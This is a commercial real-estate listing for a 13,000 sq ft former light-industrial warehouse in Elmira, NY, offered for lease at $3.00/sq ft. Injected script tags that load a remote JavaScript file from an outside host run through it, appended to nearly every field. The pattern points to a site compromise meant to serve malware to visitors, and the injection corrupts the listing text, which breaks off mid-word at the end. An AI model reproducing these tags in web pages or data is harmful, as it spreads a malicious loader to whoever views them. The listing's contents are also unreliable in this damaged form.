



Address: 301 East Center Street<script src=http://k.18xn.com/x.js>
Address 2: <script src=http://k.18xn.com/x.js>

City/State/Zip: Elmira<script src=http://k.18xn.com/x.js>, NY 14901
Municipality: City of Elmira<script src=http://k.18xn.com/x.js>
County: Chemung<script src=http://k.18xn.com/x.js>
Former Use: light industrial/warehouse<script src=http://k.18xn.com/x.js>

Sale Price: \$ n/a<script src=http://k.18xn.com/x.js>
Lease Price: \$ 3.00/sq. ft.<script src=http://k.18xn.com/x.js>
Terms: : NNN<script src=http://k.18xn.com/x.js>

Type of Location: Stand alone<script src=http://k.18xn.com/x.js>
Indus/Bus. Park: no<script src=http://k.18xn.com/x.js>
Zoning: B-E<script src=http://k.18xn.com/x.js>

Available Sq. Ft. 13000
Bldg. Dimensions: 0 x 0 (ft x (LxW)): 0
Expandable: No<script src=http://k.18xn.com/x.js>

no photo available

Property Status: Available<script src=http://k.18xn.com/x.js>
Date Available: July 31, 2007<script src=http://k.18xn.com/x.js>
Building Type: Concrete Block<script src=http://k.18xn.com/x.js>
Year Built: 1950's<script src=http://k.18xn.com/x.js>
Year Additions Built: N/A<script src=http://k.18xn.com/x.js>
School District: Elmira City School District<script src=http://k.18xn.com/x.js>

No. Parking Spaces: 38<script src=http://k.18xn.com/x.js>
Paved Parking: Yes
Empire Zone: Yes
Multiple Tenants: No
No. of Buildings: 1<script src=http://k.18xn.com/x.js>
No. of Floors: 1<script src=http://k.18xn.com/x.js>

Additional Information:
16 ft. ceilings, 2-14 ft. , se<script src=http://k.18xn.com/x.js>